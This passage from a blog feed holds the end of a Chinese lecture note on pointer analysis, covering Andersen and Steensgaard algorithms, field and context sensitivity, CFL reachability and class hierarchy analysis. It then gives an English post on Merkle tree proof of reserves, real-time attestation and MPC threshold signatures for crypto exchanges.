computes a relation <em>points-to(p, x)</em> , where p may (or must) point to the location of the variable x. We will focus our study in this lecture on points-to analysis, and will begin with a simple but useful approach originally proposed by Andersen.</p></blockquote><h3 id="Anderson-指向分析算法">Anderson 指向分析算法</h3><blockquote><p>Andersen’s points-to analysis is a context-insensitive interprocedural analysis. It is also a flow-insensitive analysis, that is an analysis that (unlike dataflow analysis) does not take into consideration the order of program statements. Context- and flow-insensitivity are used to improve the performance of the analysis, as precise pointer analysis can be notoriously<br>expensive in practice.</p></blockquote><p>该算法的指针赋值操作只有四类，而且分别对应的状态转换函数如下图所示。</p><ol><li>值变量取地址给指针赋值。</li><li>指针给指针赋值。</li><li>指针变量取值给值变量赋值。</li><li>值变量给指针指向的变量赋值。</li></ol><img src="http://cdn.blog-blockchain.xyz/202210232251369.png" alt="image-20221023225159161" style="zoom:35%;" /><p>如果读者熟悉 Datalog，以上的约束时很容易实现的。其他所有指针操作都可以分解成这四类操作，例如 <code>**a = &amp;b</code> 等价于<code>c = &amp;b;d = *c;a = *d</code>。</p><p>下面详细介绍为什么赋值语句会对应上图中的约束。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">z := <span class="number">1</span>;</span><br><span class="line">p := &amp;z;</span><br><span class="line">*p := <span class="number">2</span>;</span><br><span class="line">print z;</span><br></pre></td></tr></table></figure><p>显然打印时，<code>z=2</code> 而不是 1。逐行分解来看，<code>p := &amp;z;</code> 那么 p 就必须包括 z 的所有可能地址，这样才会是 sound 的。</p><p><code>*p := 2;</code> 那么凡是 <code>p</code> 中的元素都可能被赋值成 2，对应第四行。特别是 如果不是一个常数 2，而是一个变量，那么 p 的每一个元素都可能被 b 周的某一个元素赋值，也就是要扩大 p 对应集合的范围，包含 b 对应的集合。</p><p>上面 <code>a=*b</code> 也是类似的，a 被 b 中的某个元素赋值，考虑所有可能的情况，就相当于 b 中的每一个元素，都要在 a 的集合中。这里 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">∈</span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mrel">⊆</span></span></span></span> 有些混用，可能是为了保持多重指针时的一般性。</p><p>总而言之，每次赋值就是扩充被赋值的指针或者元素。</p><h3 id="约束求解">约束求解</h3><p>请注意它是流非敏感的，所以非常适合 Datalog，读者也会理解下面的例子。</p><img src="http://cdn.blog-blockchain.xyz/202211052219857.png" alt="image-20221105221936656" style="zoom:40%;" /><p>上面右边的约束可以写成标准形式.</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.91em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35em;"><span style="top:-2.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.192em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-4.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.85em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">1.</span><span class="mord"><span class="mord"><span class="mord boldsymbol">p</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol">p</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol">o</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mbin">∪</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2274em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mrel mtight">∈</span><span class="mord mtight"><span class="mord mtight"><span class="mord boldsymbol mtight" style="margin-right:0.03704em;">q</span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord"><span class="mord boldsymbol" style="margin-right:0.03704em;">v</span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol" style="margin-right:0.03704em;">q</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mclose">?</span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord amsrm">∅</span><span class="mclose">)</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">2.</span><span class="mord"><span class="mord"><span class="mord boldsymbol" style="margin-right:0.03704em;">q</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol" style="margin-right:0.03704em;">q</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">{</span><span class="mord mathnormal">p</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol" style="margin-right:0.03704em;">q</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mclose">?</span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord amsrm">∅</span><span class="mclose">)</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">3.</span><span class="mord"><span class="mord"><span class="mord boldsymbol">o</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol">o</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mopen">(</span><span class="mord mathnormal">o</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol" style="margin-right:0.03704em;">q</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mclose">?</span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord amsrm">∅</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>涉及到 p 的约束有右边的 3、4、5 行，第 3、4 行很直接，通过并操作限定条件。第 5 行则是间接的，因为 q 里面可能包含了 p，那么 w 可能也会在 p 的范围内。总之，以上的约束都转变成了 p 的扩充。以此类推。</p><p>笔者这时也没有对这样的规则感到得心应手，暂且学下去，等深入学习和实际应用之后会逐渐加深掌握的。</p><p>之后开始不断计算上述的三个等式，比如 p 变了，那么涉及到 p 的所有等式重新运算，以这样的方式计算直到达到不动点，也就是所有变量的集合都不变了。具体方法是先确定变量之间的包含关系如下图：</p><img src="https://cdn.blog-blockchain.xyz/202211052251017.png" alt="image-20221105225124965" style="zoom:40%;" /><p>但是这里还少了条件下或者说全称量词下的包含关系，那么就要监听全称量词，满足条件则进行对应操作。</p><p><strong>后续很多研究进一步优化了指针分析</strong>，可以阅读这一篇核心文献：The Ant and the Grasshopper: Fast and Accurate Pointer Analysis for Millions of Lines of Code, Hardekopf and Lin,PLDI 2007</p><h2 id="流敏感指向分析">流敏感指向分析</h2><p>首先，SSA 形式下流非敏感和流敏感是等价的，因为每个变量只会赋值一次，那么就不会存在模糊的指向了。但是之前也提到 SSA 在循环、递归等方面存在局限性，所以流敏感指针分析可以提高精度。流敏感指向分析主要是数据流分析和 Anderson 算法的结合。</p><img src="http://cdn.blog-blockchain.xyz/202211061044209.png" alt="image-20221106104436134" style="zoom: 43%;" /><p>前三条操作都比较显然，第四条主要是考虑到 a 实际上只会指向一个位置，那么如果 a 里的元素是多个可能的地址（比如由分支交汇造成的），那么完全替代所有地址对应的集合是不 sound 的，因此多个地址的情况下，采用并集。</p><p><strong>后续很多研究进一步优化了指针分析</strong>，最新工作采用部分 SSA 来对流敏感进行加速，可 以应用到百万量级的代码，核心论文：Hardekopf B, Lin C. Flow-sensitive pointer analysis for millions of lines of code. CGO 2011:289-298.</p><h2 id="指向分析的难点">指向分析的难点</h2><h3 id="动态分配在堆的内存">动态分配在堆的内存</h3><p>分析堆上分配的内存是一个难点，这种动态分配内存无法知道分配了多少次，比如写在循环里面。那么，一般会做一层抽象，只考虑代码出现的位置，所有循环到这一行代码，都视作同一块内存。因此，编译器处理数组时一般都是把数组当一个节点，而且大多数框架的指针分析算法不支持数组和指针运算。</p><p>所以，尽量避免指针运算是一个较好的编程习惯，另外部分语言不支持指针运算，也是有这方面的考虑。</p><h3 id="数组和指针运算">数组和指针运算</h3><p>简单地说比如 C 语言 支持指针运算，比如 <code>*(p+i)</code> 或者数组 <code>p[i]</code>。这会给分析带来巨大的困难，因为必须要把运算的范围和指针范围结合起来，单独的较为精确的分析已经很复杂了，二者结合极难实现。因此，一般大多数分析框架不支持数组和指针运算。</p><h3 id="结构体、对象、容器内的指针">结构体、对象、容器内的指针</h3><p>以 C 语言结构体双向链表为例，结构体内的指针和结构体外的指针是不同的，对于两个不同链表，next 这个名字相同的变量也不是代表指向相同的位置。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Struct Node &#123; <span class="type">int</span> value; Node* next; Node* prev;&#125;;</span><br><span class="line">a = <span class="built_in">malloc</span>();</span><br><span class="line">a-&gt;next = b;</span><br><span class="line">a-&gt;prev = c;</span><br></pre></td></tr></table></figure><p>一般由域非敏感分析和域敏感分析。</p><h3 id="域非敏感分析">域非敏感分析</h3><p>域非敏感（Field-Insensitive）分析比较简单粗暴，直接忽视结构体、对象自身的辖域。第一个办法是直接把结构体当作是一个整体，结构体里面指针的赋值就当作给结构体赋值，见下图。</p><img src="http://cdn.blog-blockchain.xyz/202211061126496.png" alt="image-20221106112608424" style="zoom:50%;" /><p>第二种办法是不管结构体变量之间的区别了，一视同仁。</p><img src="http://cdn.blog-blockchain.xyz/202211061127249.png" alt="image-20221106112740183" style="zoom:50%;" /><h3 id="域敏感分析">域敏感分析</h3><img src="http://cdn.blog-blockchain.xyz/202211061303625.png" alt="image-20221106130335551" style="zoom:50%;" /><p>简单地说，就是</p><ul><li>创建时添加结构体内的指针变量</li><li>赋值时将结构体拆分成几个字段和结构体变量名。</li></ul><p>后续实践时会做这一部分。</p><h2 id="基于-CFL-可达性的域敏感分析">基于 CFL 可达性的域敏感分析</h2><p>回忆 CFL 之前用于函数括号匹配，用来区分不同上下文中的相同函数调用。这里只要将函数这个范围替换成结构体或者对象这个范围即可。</p><img src="http://cdn.blog-blockchain.xyz/202211062118903.png" alt="image-20221106211811844" style="zoom: 50%;" /><ul><li>new 表示新建了指针</li><li>put[f] 表示上一个节点下一个节点内部的值 f (比如结构体内字段) 赋值。</li><li>assign 表示直接赋值</li><li>get[f] 表示从上一个节点取出内部的变量 f 给下一个节点赋值。</li></ul><p>从以上的定义，出现了如下的结论：</p><img src="http://cdn.blog-blockchain.xyz/202211062124955.png" alt="image-20221106212440908" style="zoom:50%;" /><ul><li>下划线表示逆过程。</li><li><code>*</code> 表示前面的部分可以出现一次或者多次。</li><li>变量 A 可以流向 B 的情况只存在于<ol><li>创建变量 A</li><li>以下两种情况之一。<ol><li>给指针 A 赋值</li><li><code>put[f]</code>, A 被赋值给下一个变量 C 的某个字段 f</li><li>变量 D 是变量 C 的别名。</li><li><code>get[f]</code> 变量 D 的字段 f 被赋值给 E。</li></ol></li><li>重复步骤二，如果最后可以赋值给变量 B，那么表示变量 A 可以流向 B。</li></ol></li><li>指向则是与流向是相反的过程。</li><li>别名则是两个变量既可以指向也可以流向。</li></ul><p>如果读者熟悉离散数学的二元关系、等价关系之类的推导，应该能够较快理解以上过程。</p><p>从上述步骤可以看到，<code>put[f]</code> 和 <code>get[f]</code> 就相当于之前学习的 CFL 可达性里的括号，只需要沿着括号匹配的方向去构建图。最后可以证明，基于 CFL 和基于 Anderson 算法的域敏感分析是等价的，这里不做证明。</p><img src="http://cdn.blog-blockchain.xyz/202211062138761.png" alt="image-20221106213817690" style="zoom:50%;" /><h2 id="Steensgaard-算法">Steensgaard 算法</h2><p>这个算法的核心是，指针 p 可能指向多个对象，那么就可以把多个对象合并成一个，让 p 只指向一个对象。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">p = &amp;x;</span><br><span class="line">r = &amp;p;</span><br><span class="line">q = &amp;y;</span><br><span class="line">s = &amp;q;</span><br><span class="line">r = s;</span><br></pre></td></tr></table></figure><p>按照 Anderson 指针分析算法，p 指向 x，其他以此类推。r 和 s 是同名，所以可以得到左图图。然后 p 指向了多个对象，那么就把 p 和 q 合并，就变成了右图。</p><p><img src="http://cdn.blog-blockchain.xyz/202211192338135.png" alt="image-20221119233728911"><img src="http://cdn.blog-blockchain.xyz/202211192339253.png" alt="image-20221119233904211"></p><p>虽然这个过程降低了精度，比如 p 本来不会指向 y 的，s 也不会指向 q 的，不过保证了 sound，不会漏掉原来的情况。合并之后，发现 pq 指向了多个对象，所以还要继续合并。</p><img src="http://cdn.blog-blockchain.xyz/202211192341123.png" alt="image-20221119234154069" style="zoom:67%;" /><p>最终，可以表达成如下形式。<code>p</code> 表示地址； <code>*p</code> 表示 p 指向的集合，也就是 p 所有可能指向的对象。join 的意思是把这两个东西合并，如果两个东西是相同的，那么久不用进行任何操作。例如上面的例子中 p q 合并就是因为 <code>s=r</code>，<code>p=&amp;x</code> 就需要把 p 指向的其他东西和 x 合并。依次类推。</p><p><img src="http://cdn.blog-blockchain.xyz/202211192344259.png" alt="image-20221119234441212"></p><p>只要按照着语句顺序执行下来，那么就不会发生回溯去递归，所以除了合并操作外，线性的复杂度就可以完成。这就不像 Anderson 算法，需要生成约束，然后约束不断迭代，直到不动点。</p><h2 id="上下文敏感">上下文敏感</h2><p>这里主要考虑上下文敏感和域敏感指针分析同时出现的情况，我们知道上下文敏感主要是说函数在不同的地方调用，可以通过括号匹配的方式提高精度。上文以提到过，域敏感分析也可以通过 put-get 匹配完成。但是这两者的交集不一定是上下文无关问题，所以同时满足上下文敏感和域敏感是不可能实现的。</p><p>可以在两者之间折衷。</p><h3 id="降低上下文敏感性">降低上下文敏感性</h3><p>把被调方法根据上下文克隆 n 次。下面的例子中，<code>SetF(y,m)</code> 相当于 <code>m.F=y</code>，但是可以更加抽象化，表示 y 赋值给 m 的 F 域。这里为了方便入门可以改写成更加明显地形式。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">y = <span class="keyword">new</span> <span class="built_in">A</span>();</span><br><span class="line">m = <span class="keyword">new</span> <span class="built_in">A</span>();</span><br><span class="line">m.F = y;</span><br><span class="line">x = y;</span><br><span class="line">y.F = m;</span><br><span class="line">n = x.F;</span><br></pre></td></tr></table></figure><img src="http://cdn.blog-blockchain.xyz/202211201030565.png" alt="image-20221120103036498" style="zoom: 67%;" /><p>按照之前学习的，可以将 SetF() 函数克隆，第一次调用的参数记作 <code>a,1</code> 和 <code>b,1</code>，第二次调用记作 <code>a,2</code> 和 <code>b,2</code>，这样区别了不同的上下文。其他的 <code>n,0</code> 表示在 Main 函数中的变量。</p><h3 id="降低域敏感性">降低域敏感性</h3><p>把域展开 n 次，这个想法在链表中体现的尤为明显。</p><img src="http://cdn.blog-blockchain.xyz/202211201046370.png" alt="image-20221120104647288" style="zoom:67%;" /><p>展开的一次的话，就会把 Node* a 这个对象里面的指针展开，当作是与 a 同一个域的变量。然后赋值时，规定对应的约束。注意上面的 <code>=</code> 不是表示赋值，而是表示别名。这样做的理由是为了避免单向指向，导致失去类似于 <code>z= 1;p = &amp;z;*p=2</code>这样间接修改<code>z</code> 的情况。</p><p>下面是展开两次的情况：</p><img src="http://cdn.blog-blockchain.xyz/202211201105767.png" alt="image-20221120110545690" style="zoom: 50%;" /><h2 id="控制流分析">控制流分析</h2><p>C 语言和其他某些语言都支持函数指针，这就造成了我们可能并不知道数据流中究竟调用了哪个函数。所以有时候我们并不知道有哪些控制流，更加致命的是一些接口类型或者虚函数，控制流并不直接。因此，我们可以知道指针分析其实是过程间分析中非常重要的内容。</p><p>控制流分析就是研究可能的控制流的情况，所以是 may analysis，这里和数据流分析是一样的，都是结果只能比实际的多，但是不能少。控制流分析和数据流分析的关系如下：</p><ul><li>控制流分析确定程序控制的流向</li><li>数据流分析确定程序中数据的流向。</li><li>数据流分析在控制流图上完成，因此<strong>控制流分析是数据流分析的基础</strong>。</li></ul><h3 id="Class-Hierarchy-Analysis">Class Hierarchy Analysis</h3><p>极其简单，根据函数赋值对象的类型去筛选函数，然后所有筛选后的实现都是可能的，然后把不同实现的返回值合并起来。这种方式极其不精确，一旦实现多了，那么就没用了。</p><img src="http://cdn.blog-blockchain.xyz/202211212221316.png" alt="image-20221121222110155" style="zoom:67%;" /><h3 id="Rapid-Type-Analysis">Rapid Type Analysis</h3><p>这个稍微精确一些，只考虑那些在程序中创建了 的对象，加了一层的筛选。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">nterface I &#123; <span class="keyword">void</span> <span class="title function_">m</span><span class="params">()</span>; &#125;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">A</span> <span class="keyword">implements</span> <span class="title class_">I</span> &#123; <span class="keyword">void</span> <span class="title function_">m</span><span class="params">()</span> &#123; x = <span class="number">1</span>; &#125; &#125;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">B</span> <span class="keyword">implements</span> <span class="title class_">I</span> &#123; <span class="keyword">void</span> <span class="title function_">m</span><span class="params">()</span> &#123; x = <span class="number">2</span>; &#125; &#125;</span><br><span class="line"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">I</span> <span class="variable">i</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">A</span>();</span><br><span class="line">    i.m();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">C</span> &#123; <span class="keyword">void</span> <span class="title function_">m</span><span class="params">()</span> &#123; <span class="keyword">new</span> <span class="title class_">B</span>().m();</span><br><span class="line">&#125; &#125;</span><br></pre></td></tr></table></figure><p>具体流程如下，初始化两个集合 <code>Methods</code> 和 <code>Classes</code>，记录调用和方法之间的关系集合 <code>Calls-&gt;Methods</code>。初始时刻 <code>Methods</code> 只包括 <code>main()</code> 函数，然后开始逐行扫描：</p><ol><li><p>如果遇到一个新的方法（相当于函数）的调用 <code>m</code>，那么将在次调用之前，所有实现了这个方法的类加入到 <code>Classes</code> 集合中。</p></li><li><p>如果 <code>Classes</code> 集合中增加了一个类 <code>A</code>，那么就把这次调用和类中的方法匹配，也即将 <code>1:m()-&gt;A.()</code> 加入 <code>Calls-&gt;Methods</code> 中。这里的 <code>1:m</code> 是考虑到上下文敏感性，对不同上下文的调用编号了。</p></li><li><p>将方法 <code>m</code> 中的所有方法（例如 <code>m</code> 嵌套了其他方法 <code>n</code>）加入到 <code>Methods</code> 中，递归地执行第 1 步。</p></li></ol><p>分析速度很快，但是分析的精度优先，如果之前有多个实现，那么就也搞不定了，不过这样的分析实际工程中有所采用。</p><h3 id="精确控制流分析">精确控制流分析</h3><p>简单地说是一边进行指针分析，一遍进行 control flow analysis (CFA)。这一小部分的内容有些难，暂时跳过。</p><h2 id="参考">参考</h2><p>除了上文每处标出的来源链接，以及这个系列最开始的说明以外，还参考了：</p><ul><li><a href="https://www.cs.cmu.edu/~aldrich/courses/15-819O-13sp/resources/pointer.pdf">https://www.cs.cmu.edu/~aldrich/courses/15-819O-13sp/resources/pointer.pdf</a></li><li>Neil D. Jones, Steven S. Muchnick: Flow Analysis and Optimization of Lisp-Like Structures. POPL 1979: 244-256</li></ul>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/points-to-analysis/</id>
    <link href="https://www.blog-blockchain.xyz/pl/points-to-analysis/"/>
    <published>2022-11-21T13:50:33.000Z</published>
    <summary>深入探讨指针分析和别名分析，讲解流敏感性、路径敏感性、上下文敏感性和域敏感性等概念，介绍 Andersen 和 Steensgaard 算法，以及基于 CFL 可达性的域敏感分析方法。</summary>
    <title>（六）指向分析</title>
    <updated>2026-02-19T16:18:01.142Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="defi" scheme="https://www.blog-blockchain.xyz/categories/defi/"/>
    <category term="defi" scheme="https://www.blog-blockchain.xyz/tags/defi/"/>
    <content>
      <![CDATA[<h2 id="what-is-Merkle-Tree-Proof-of-Reserves">what is Merkle Tree Proof of Reserves</h2><p>After FTX was hacked, many prevailing exchanges announced they would provide Merkle Tree Proof of Reserves to encourage transparency[<a href="https://www.thenewsminute.com/article/what-merkle-tree-proof-reserves-170062">1</a>]. The Merkle tree proof of reserve is an essential cryptographic tool that is thought to boost the public confidence and transparency of user assets. It utilizes a particular data structure, Hash Tree or Merkle tree, to prove that the centralized exchange has adequate assets to serve its customers.<img src="http://cdn.blog-blockchain.xyz/202211182038173.png" alt="1920px-Hash_Tree.svg" style="zoom: 50%;" /></p><p>The above picture from the wiki shows that every leaf node is the hash of a data block, and every non-leaf node is the hash of its child nodes. Hence, all the child nodes uniquely establish and determine the root. When applied to proof of reserves, the leaves are labeled as all the balances of accounts controlled by centralized exchanges. We can quickly validate and monitor whether the accumulated balance alters.</p><p>To enhance its confidence, exchanges may entrust third-party auditors to pick a snapshot at random and combine the unique hashed id into a Merkle tree, then consolidate all id information into a root. Users can input their hash pieces to reproduce the process partly to verify their balance by checking the root. An example can be seen at <a href="https://proof-of-reserves.trustexplorer.io/clients/kraken/">https://proof-of-reserves.trustexplorer.io/clients/kraken/</a> .</p><h2 id="Improved-Approaches">Improved Approaches</h2><h3 id="Real-time-Attestation">Real-time Attestation</h3><p>Though the mentioned method seems perfect, many flaws must be addressed. For instance, an exchange company may borrow plenty of assets to counterfeit that they are solvent and affordable for any withdrawal before the snapshot. Real-time attestation can mitigate and alleviate the problem.</p><p>Real-time attestation, also named real-time assurance, is the process whereby an independent accountant collects sufficient audit evidence and performs substantive procedures to issue on-demand audit reporting to intended users while meeting obligations under the then-prevailing audit standards and professional ethics requirements[<a href="https://www.armaninollp.com/-/media/pdf/white-papers/whitepaper-trustexplorer-real-time-audit.pdf">2</a>]. It is noteworthy that “real-time” does not mean “continuously” but “collect audit evidence in real-time”. An example can be seen at <a href="https://real-time-attest.trustexplorer.io/nexo">https://real-time-attest.trustexplorer.io/nexo</a> .</p><p>Relevant tutorials or passages are rare. <a href="https://dgi.io/ots/">OpenTimestamps</a> is a blockchain-agnostic protocol that creates timestamp proofs based on a Certificate Authority (CA) issued by the governing body of a blockchain[<a href="https://medium.com/business-blockchain-hq/armanino-launches-auditing-software-business-blockchain-hq-e5f935dcc8a4">3</a>]. The OpenTimestamps protocol can reduce to the procedure that aggregates new node hash into Merkle Tree root when the monitored accounts change. This method does not consume much gas or computation since it operates outside the blockchain.</p><p>If you are interested in the protocol mentioned above, the <a href="https://dgi.io/ots-tutorial/">website</a>[4] might be a playground for you.</p><h3 id="MPC-Threshold-Signature-Scheme">MPC-Threshold Signature Scheme</h3><p>Multi-party computation is a subfield of cryptography with the goal of creating methods for parties to jointly compute a function over their inputs while keeping those inputs private[<a href="https://en.wikipedia.org/wiki/Secure_multi-party_computation">5</a>].</p><blockquote><p>There are three main properties of multi-party computation[<a href="https://www.jadewallet.io/mpc-based-threshold-signature-scheme.html">6</a>]:</p><ol><li>Correctness: the parties involved in multi-party computing initiate computation tasks and perform collaborative computation through an agreed secure multi-party computation function. The output produced by and algorithm is correct ( as expected).</li><li>Privacy: each party must ensure that their secret inputs are independent and that no local data is disclosed during the computation.</li><li>Decentralization: a decentralized computing model is offered with total equal of each participant, and no privilege for any participant or third party.</li></ol></blockquote><p>MPC-Threshold Signature Scheme divides a key-share to the auditor, who can use it to get anonymous information about total assets controlled by the centralized exchange. However, the auditor can not use it to obtain other sensitive information. Particularly, the entrusted auditor must get another key-share conferred from the exchange to get the privilege of censoring its assets. For instance, only an authorized can aggregate the total assets of all co-managed addresses by both the exchange and the auditor.</p><h2 id="Further-Reading">Further Reading</h2><ul><li><a href="https://blockworks.co/news/what-are-proof-of-reserves-and-can-they-build-back-trust">What Is Proof of Reserves and Can It Build Back Trust? - Blockworks</a></li><li><a href="https://en.wikipedia.org/wiki/Secret_sharing">Secret sharing</a> - From Wikipedia, the free encyclopedia</li><li>Chatzigiannis, P., Chalkias, K. (2021). Proof of Assets in the Diem Blockchain. In: , <em>et al.</em> Applied Cryptography and Network Security Workshops. ACNS 2021. Lecture Notes in Computer Science(), vol 12809. Springer, Cham. <a href="https://doi.org/10.1007/978-3-030-81645-2_3">https://doi.org/10.1007/978-3-030-81645-2_3</a></li><li>Decker, C., Guthrie, J., Seidel, J., Wattenhofer, R. (2015). Making Bitcoin Exchanges Transparent. In: Pernul, G., Y A Ryan, P., Weippl, E. (eds) Computer Security – ESORICS 2015. ESORICS 2015. Lecture Notes in Computer Science(), vol 9327. Springer, Cham. <a href="https://doi.org/10.1007/978-3-319-24177-7_28">https://doi.org/10.1007/978-3-319-24177-7_28</a></li><li>Reddy, B. Swaroopa. “A ZK-SNARK based Proof of Assets Protocol for Bitcoin Exchanges.” <em>arXiv preprint arXiv:2208.01263</em> (2022).</li></ul><h2 id="reference">reference</h2><ul><li>[1] <a href="https://www.thenewsminute.com/article/what-merkle-tree-proof-reserves-170062">https://www.thenewsminute.com/article/what-merkle-tree-proof-reserves-170062</a></li><li>[2]<a href="https://www.armaninollp.com/-/media/pdf/white-papers/whitepaper-trustexplorer-real-time-audit.pdf">https://www.armaninollp.com/-/media/pdf/white-papers/whitepaper-trustexplorer-real-time-audit.pdf</a></li><li>[3]<a 